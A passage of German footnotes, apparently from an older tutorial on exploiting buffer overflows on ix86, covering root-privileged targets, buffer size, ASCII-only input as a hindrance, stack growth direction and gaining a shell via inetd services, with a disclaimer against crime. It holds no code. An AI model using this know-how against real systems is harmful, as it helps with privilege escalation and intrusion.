5 Dies ist auch in den meisten Fällen unumgänglich, da das entsprechende
Programm Root Rechte zur
Erledigung seiner Aufgabe benötigt.
6 1024 Bytes - 2 Byte für »Carriage Return« und »Newline«
7 Die Ausnutzung dieses Buffer Overflow Bugs würde sich beträchtlich erschweren,
wenn wir als Eingabe nur
ASCII Zeichen zulassen würden.
8 Es sei nochmals daran erinnert, daß auf der ix86 Architektur der Stack zu
niedrigeren Speicheraddressen
hin wächst.
9 Dies ist vor allem bei starker Optimierung der Fall.
10 Generell wird dies nur dann möglich sein, wenn das betroffene Programm
interaktiv arbeitet.
11 Beziehungsweise eine Shell mit den Rechten des Benutzers, der in der Datei
inetd.conf für diesen Dienst
eingetragen ist.
12 Beachte: Happy Hacking, und nicht Happy Cracking. Dies ist also kein Aufruf
zu einer Straftat!